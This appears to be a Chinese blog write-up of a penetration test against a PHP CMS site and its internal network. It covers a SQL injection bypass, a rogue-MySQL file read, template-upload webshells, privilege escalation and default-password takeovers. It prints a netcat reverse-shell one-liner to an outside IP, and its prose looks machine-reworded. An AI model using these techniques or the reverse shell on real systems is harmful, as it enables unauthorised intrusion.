记一次代码审计的Linux内网渗透
1DMZWEB SERVER
InfomationGathering
看到重点是开了888、21、80、3306端口,888好似是bt,看一下80:
便是咱们的目的站,某cmsv1.0,下载下来审计一波瞧瞧。 2PHPCMS Code Audit
分析流程发掘index.php->./loader/load.php->./loader/doc.php
先看load.php
注释亦比较清楚,便是按照url加载功能的引导页,再看doc.php
首要包括了比较重要的/inc/fuction.php,而后对传入的参数做了cleanArrayForMysql()处理。往下看,比较重要的路由规则:
路由大概便是这般的,比较简单,然则最后一部分调用action之前有一个HTML_LOAD():
经过测试应该是进入了最后一个else而后转,应该是开启了伪静态的原由。
接下来看一下常用函数有无问题:/inc/function.php
能够看到对基本sql注入的关键字进行了检测。
后台getshell:/admini/controllers/system/changeskin.php
上传模板,zip文件直接解压。
SQL注入:content\search\index.php
search功能,在进行urldecode()之前就进行了checkSqlStr()检测处理,因此呢达不到效果。
写个tamper脚本,进行两次url编码就行,用sqlmap跑:
跑出来以后不晓得这什么加密,看一下:/admin/login.php
跟进docEncryption:
看了下,getjxqy3()中后面三行问题都不大,但第1部分字符串截取是不可逆的。尝试能不可用sql-shell去修改一下秘码。
后面发掘数据库能够外连,尝试能不可搞到数据库账号秘码。 3MySQLArbitrarily File Read
/setup/chkdb.php
先让它报错获取路径。
而后本地数据库开启外连来读文件。
读取文件的同期发掘亦爆路径了,不晓得是不是这个伪造的mysqlserver的原由,以后没办法爆路径能够试一下(伪造mysqlserver默认账号秘码便是root123456)。 http://www.xxx.com/setup/checkdb.php?dbname=mysql&uname=root&pwd=123456&dbhost=xxx.xxx.xxx.xxx&action=chkdb
更新一波秘码直接上后台。 4Bypass disable_functions
用刚才找到的上传模板getshell,本地有环境,直接把shell放进去本来的模板打包上传。发掘上传失败。
遂修改模板加上一句话亦不行,全部模板目录拜访发掘403,不外不碍事,不需要直接拜访,由于本来用的模板便是它,能够自动加载。能够执行代码,然则AntSword连不上。
菜刀成功连接,写入shell用AntSword连接就可。
估计有disablefunctions。
5privilegeEscalation
看了下sudo版本,试一下。然则针对linux提权还是创立一个交互式shell比较方便。 rm/tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc192.168.8.187 1456 >/tmp/f python3 -c import pty;pty.spawn("/bin/sh")
1、SUID提权
好家伙,直接一波root。
2、bt提权
用户桌面发掘的bt关联信息。
加上计划任务。
Intranet
两张网卡。
开个代理用nmap探测一下内网发掘144是up的,再看下端口。
6emlog getshell
尝试一波弱口令,经过admin:123456进入后台
下载一个正常模板放一句话进去上传运用就可。
7Privilege Escalation
常规试了下sudo、suid提权,msfbind亦拿不到shell,因此瞧瞧还有什么提权办法。
发掘开了8080端口是个wdcp服务器,默认秘码登陆失败admin:wdlinux.cn,然则mysql的默认秘码没改,还是上面那个。
www.target.com:8080/phpmyadmin
默认秘码登陆上去后能够看到:
找到管理员秘码,md5解开后登陆上主面板就可。
功能是真的全,还能改root秘码,直接提权就可。
亦能够加个计划任务,收工~ 8
关注公众号
关注本公众号 不定时更新文案和视频
欢迎前来关注
|